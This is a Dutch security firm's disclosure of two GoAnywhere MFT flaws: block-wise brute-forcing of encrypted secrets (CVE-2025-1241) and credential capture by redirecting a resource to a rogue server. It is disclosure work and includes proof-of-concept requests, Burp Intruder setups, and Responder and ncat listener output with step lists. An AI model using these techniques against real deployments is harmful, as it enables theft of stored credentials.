Overzicht van kwetsbaarheden: Fortra GoAnywhere Secret Decryption CVE

> Nieuws en events > Kwetsbaarheden uitgelicht: Fortra GoAnywhere Secret Decryption CVE

Auteur: Robin Wolters

OT- en IT-cybersecurityadviseur || CRTO, OSCP, GICSP

Op 7 januari 2025 ontdekte Robin Wolters bij Bureau Veritas Cybersecurity twee kwetsbaarheden in Fortra GoAnywhere MFT (Secure Managed File Transfer Software), waarvan er één onlangs de CVE-2025-1241-codeheeft gekregen .

De versie die tijdens deze tests is gebruikt, is GoAnywhere versie 7.6.0 Build 44.

Op de productpagina van GoAnywhere MFT wordt vermeld dat de software kan worden gebruikt om gevoelige gegevens, zoals PHI, PII en kaartgegevens, zowel tijdens verzending als in rust te beveiligen. Dit betekent dat een kwetsbaarheid kan leiden tot compromittering of verstoring van deze gevoelige gegevens bij klanten van de GoAnywhere MFT-software.

De geïdentificeerde kwetsbaarheden leiden beide tot blootstelling van geheimen die versleuteld zijn opgeslagen. De eerste kwetsbaarheid stelt een aanvaller in staat om alle opgeslagen versleutelde geheimen te kraken door middel van brute-force-aanvallen, vanwege een zwakte in het gebruikte versleutelingsmechanisme. Het mechanisme versleutelt geheimen met behulp van een blokcijfer, in blokken van 8 tekens. Hierdoor kunnen brute-force-pogingen op de versleutelde geheimen worden uitgevoerd in blokken van 8, waardoor de effectieve lengte van het oorspronkelijke geheim wordt beperkt. Het gebruik van een wachtwoord van 24 tekens zou betekenen dat drie blokken van 8 tekens moeten worden gekraakt in plaats van één enkel wachtwoord van 24 tekens. De kwetsbaarheid stelde een aanvaller ook in staat om de geschatte lengte van het geheim te bepalen, tot op de blokgrootte nauwkeurig, wat de sterkte van de versleuteling verder beperkt. Deze kwetsbaarheid heeft de CVE-code CVE-2025-1241 gekregen.

De tweede kwetsbaarheid stelt een aanvaller in staat om in leesbare tekst inloggegevens van het systeem te ontvangen voor eerder geconfigureerde bronnen. Bronnen kunnen worden geconfigureerd met accounts voor authenticatie bij de externe bron. Het wachtwoord van dit account wordt na de eerste configuratie niet aan de gebruiker getoond; het kan alleen worden vervangen door een nieuw wachtwoord. Door het doeladres van de bron te wijzigen, kan de authenticatie van de bron echter worden omgeleid naar een server die onder controle staat van een aanvaller. Met de juiste configuratie kan deze kwaadaardige server worden ingesteld om de inloggegevens van de authenticatie te verzamelen, wat resulteert in ofwel het wachtwoord in leesbare tekst ofwel de inloggegevens in een vorm die specifiek is voor de dienst. Aan deze kwetsbaarheid is geen CVE toegekend, aangezien deze inherent is aan de manier waarop de geheimen worden gebruikt.

Scenario 1:
brute-forcing van geheimen

Bij het onderzoeken van het beheerdersportaal van GoAnywhere kwam de Encryption Tool naar voren. Met deze tool kon een beheerder wachtwoorden in leesbare tekst versleutelen om ze veilig als variabelen in projecten te gebruiken. Het experimenteren met de Encryption Tool leverde interessante resultaten op:

12345678
1234567812345678
123456781234567812345678
12345678123456781234567812345678

Dit resulteerde in de volgende versleutelde tekenreeksen:

*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

Het feit dat het begin van de versleutelde tekenreeks niet meer verandert, kan erop wijzen dat er een blokcijfer voor de versleuteling wordt gebruikt. Dit zou betekenen dat een geheim in blokken van 8 kan worden ontsleuteld in plaats van dat het gehele geheim met brute kracht moet worden gekraakt, waardoor de effectiviteit van de wachtwoordlengte ernstig wordt beperkt.

De applicatie werd gecontroleerd op het gebruik van deze versleutelde strings. De onderzochte instantie maakte echter geen gebruik van de versleutelde strings voor variabelen, zoals gesuggereerd. Andere plaatsen werden geïnspecteerd, zoals de configuratiebestanden van de applicatie. Een voorbeeld hiervan was het bestand database-2024-11-21-14-19-17.xml, dat een versleutelde tekenreeks voor de databaseverbinding bevatte:

*1:1ijs[VERWIJDERD]THKA== 

De geschatte lengte van dit wachtwoord kan worden bepaald op basis van de gebruikte blokversleuteling. Met behulp van de versleutelings-tool worden nieuwe tekens aan de tekststring toegevoegd totdat de versleutelde uitvoer overeenkomt met de lengte van de versleutelde string ( 91):

1234567
*1:nxdAwBailruj46Be4+DAyA==
12345678
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
1234567812345678123456781
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
jZmTjkbe912yN/xOHF4j1A==
1234567812345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
CeobjfYj3HF2rsDkX/0udg==
12345678123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=

Dit geeft aan dat de oorspronkelijke invoer tussen 24 (123456781234567812345678) en 31 ( 1234567812345678123456781234567) tekens zou liggen.

Een ander voorbeeld is te vinden in de resource-verbinding. Hoewel de applicatie de versleutelde strings niet in de webconsole toonde, was het mogelijk deze te lezen door de configuratie van een resource te exporteren. Er werd een nieuwe SSH-server-resource aangemaakt voor de proof of concept van het brute-forcen van een versleutelde string:

POST /goanywhere/resources/ConfigureResource.xhtml HTTP/1.1
Host: il-vbu.acp.kvk.nl:9000
Cookie: ASESSIONID=[...]
Content-Type: application/x-www-form-urlencoded

resourceForm%3AbtnSave=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3A
j_id_45%3A2%3Ata=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_4
5%3A3%3Atf=10.30.50.66&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj
_id_45%3A4%3Atf=8022&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id
_45%3A5%3Atf=Secura&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_
45%3A6%3Aef_pwd_hinput=44332211112233441324&[...]

De configuratie van de bron is gedownload:

<?xml version="1.0" encoding="UTF-8" ?>

    Secura testserver
	Default
    
    10.30.XX.XX
    8022
	Secura
    <password>*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/
XgGCEHBSSLVnh

Met behulp van de hierboven beschreven methode kon de geschatte lengte van het wachtwoord worden bepaald, namelijk tussen de 16 en 24 tekens:

123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
44332211112233441324
*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
12345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9FTti437Mrc8Lm9kAqI5/YK
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==

De versleutelings-tool werd gebruikt in combinatie met Burp Intruder om de versleutelde tekenreeks te kraken met brute-force. Zoals vermeld was brute-force-kraken mogelijk in delen van 8. In plaats van één wachtwoord van 24 tekens te moeten kraken, was het dus mogelijk om 3 wachtwoorden van maximaal 8 tekens te kraken. Het tekenbereik was beperkt tot alleen cijfers, aangezien dit een online brute-force-aanval op een live systeem betrof.

Het eerste deel werd gekraakt door te kijken naar de eerste 24 tekens van de versleutelde uitvoer:

*1:5hiwElHNzJKgMS5gDUVO0wgSYOvW7qH5dXA/Pi73oGI=
Image in image block

Het eerste deel van het wachtwoord werd gekraakt

De leesbare tekst werd vervolgens toegevoegd aan de configuratie van de indringer, vóór het volgende deel dat met brute force moest worden gekraakt.

javax.faces.partial.ajax=true&javax.faces.source=j_id_26_a&
javax.faces.partial.execute=%40all&javax.faces.partial.render=j_id_28%3A
j_id_2b%3AencryptedOutput&j_id_26_a=j_id_26_a&j_id_28%3Aj_id_2b%3A
input_hinput=44332211§INPUT§&[...]

Het volgende gedeelte werd met brute-force aangevallen totdat er een overeenkomst werd gevonden met de eerste 45 tekens van de versleutelde tekenreeks.

*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh

De aanpak voor het laatste gedeelte was iets anders, omdat we niet konden weten of het wachtwoord 16 of 23 tekens lang was. Dit betekent dat elke lengte van 1 tot 7 met brute-force moest worden getest:

Image in image block

Burp Intruder-configuratie gebruikt voor het kraken van het laatste gedeelte

Uiteindelijk werd ook het laatste deel van het wachtwoord gekraakt:

Image in image block

Het laatste deel van het wachtwoord is gekraakt

Samenvatting

Deze kwetsbaarheid stelt een aanvaller in staat om geheimen die binnen de applicatie worden gebruikt, met brute-force aan te vallen in blokken van 8 tekens. Dit beperkt de effectieve sterkte van het gebruikte geheim en stelt een aanvaller in staat toegang te verkrijgen tot geconfigureerde bronnen zoals SSH-servers, databases, bestandsdelingen of andere. De volgende stappen vatten het proces samen:

  • Haal een versleuteld geheim op uit de applicatie; bijvoorbeeld door een configuratiebestand te lezen of een bron te exporteren.
  • Meld u aan bij het portaal met voldoende rechten om toegang te krijgen tot de versleutelingsprogramma.
  • Bepaal de geschatte lengte van de geheime sleutel met behulp van de versleutelingsprogramma.
  • Gebruik de methode van uw keuze om de geheime sleutel via de versleutelings-tool te kraken. Dit kan worden gedaan met behulp van Hydra, Burp Intruder of een eigen script.
  • Kraak elk blok van de versleutelde geheime code om de oorspronkelijke geheime code in leesbare tekst te achterhalen.

Hieronder vindt u een CVSS-score als indicatie van de ontdekte kwetsbaarheid:

Image in image block

Indicatieve CVSS3.1-score van dit scenario

Beperking

Werk de applicatie bij naar versie 7.10.0. Deze patch is op 20 april 2026 uitgebracht. Beperk in het algemeen het aantal beheerders op basis van het principe van minimale rechten om toegang tot dit soort kwetsbaarheden te voorkomen.

Scenario 2:
overdracht van geheimen in leesbare tekst

In het beheerdersportaal kunnen bronnen worden geconfigureerd, zoals SSH-servers of netwerkshares. Voor deze bronnen zijn vaak inloggegevens vereist die kunnen worden opgeslagen. Het is niet mogelijk om het (versleutelde) wachtwoord via de webinterface te lezen:

Image in image block

Het versleutelde wachtwoord van een bron is verborgen voor de gebruiker

Een gebruiker met voldoende rechten kan de bronnen wijzigen. Door het serveradres van een netwerkshare te wijzigen, kan de authenticatiepoging worden omgeleid van de oorspronkelijke server naar een kwaadaardige server. De kwaadaardige server zou inkomende authenticatie kunnen monitoren om deze te onderscheppen, bijvoorbeeld met Responder:

$ sudo responder -I eth0 -A

[+] Servers:
    SMB-server                 [AAN]

[+] Luisteren naar events...                                                        
[+] Responder bevindt zich in de analysemodus. Er worden geen NBT-NS-, LLMNR- of MDNS-verzoeken gemanipuleerd.
[...]
[SMB] NTLMv2-SSP-client   : 10.7.255.101
[SMB] NTLMv2-SSP-gebruikersnaam : TEST\secura
[SMB] NTLMv2-SSP-hash     : secura::TEST:6a6c638bcaee13bb:A5FF[...]0000

Deze hash kan vervolgens worden gebruikt in een offline brute-force-aanval om het geconfigureerde wachtwoord van de bron te achterhalen. Als alternatief zouden sommige diensten het verzenden van wachtwoorden kunnen toestaan die niet gekraakt hoeven te worden. Een voorbeeld hiervan zijn HTTP(S)-servers. Voor de PoC is een nieuwe HTTP-server aangemaakt en is de functie ``Test'' gebruikt om de verbinding te testen, waarbij het opgeslagen wachtwoord via de HTTP-verbinding werd verzonden:

Image in image block

De verbinding met de HTTP-server werd getest, waarbij het wachtwoord werd verzonden

De kwaadaardige server ontving de volgende verbinding van de GoAnywhere-client:

$ ncat -lvp 8000
Ncat: Versie 7.94SVN ( https://nmap.org/ncat )
Ncat: Luistert op [::]:8000
Ncat: Luistert op 0.0.0.0:8000
Ncat: Verbinding van 10.7.255.101:16047.
GET / HTTP/1.1
Connection: close
Authorization: Basic VGVzdDp0ZXN0cGFzc3dvcmQ=
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 10.30.50.66:8000

De base64-code werd gedecodeerd naar de oorspronkelijke gebruikersnaam en het oorspronkelijke wachtwoord:

Test:testpassword

Samenvatting

Deze kwetsbaarheid stelt een aanvaller in staat om onversleutelde geheimen uit de applicatie op te halen die normaal gesproken in versleutelde vorm worden opgeslagen. Afhankelijk van het gebruikte protocol kunnen deze geheimen worden ontvangen in platte tekst of in een protocolspecifiek formaat. De volgende stappen vatten het proces samen:

  • Meld u aan bij het portaal met voldoende rechten om toegang te krijgen tot de bronnen.
  • Selecteer een protocol en een bron als doel.
  • Zet een malafide server op die via het doelprotocol kan communiceren en authenticatiegegevens verzamelt; Responder kan bijvoorbeeld worden gebruikt om SMB-gegevens te verzamelen.
  • Bewerk de bron om het doeladres om te leiden naar de kwaadaardige server.
  • Gebruik de testfunctionaliteit om een authenticatiepoging te ontvangen zonder de nieuwe instellingen op te slaan.

Hieronder vindt u een CVSS-score als indicatie van de ontdekte kwetsbaarheid:

Image in image block

Indicatieve CVSS3.1-score van dit scenario

Beperking

Er zal geen update beschikbaar zijn om deze methode te voorkomen. Het beperken van dit gedrag zou het beheer van de applicatie bemoeilijken en minder gebruiksvriendelijk maken. Een mogelijke oplossing zou zijn om het toevoegen van certificaten aan de configuratie toe te staan om de identiteit van de doelserver te waarborgen. Beperk in het algemeen het aantal beheerders op basis van het principe van minimale rechten om toegang tot dit soort kwetsbaarheden te voorkomen.

Image in image block

Waarom kiezen voor Bureau Veritas Cybersecurity

Bureau Veritas Cybersecurity is uw specialist op het gebied van digitale veiligheid. Wij ondersteunen organisaties bij het in kaart brengen van risico’s, het verbeteren van hun verdediging en het naleven van wet- en regelgeving. Onze dienstverlening bestrijkt mens, proces en technologie: van awareness-trainingen en social engineering tot advies, compliance en technische beveiligingstests.

We werken in IT-, OT- en IoT-omgevingen en ondersteunen zowel digitale systemen als verbonden producten. Met ruim 300 cybersecurity-specialisten wereldwijd combineren we diepgaande technische kennis met internationale slagkracht. Bureau Veritas Cybersecurity is onderdeel van Bureau Veritas Group, wereldwijd actief in testen, inspectie en certificering.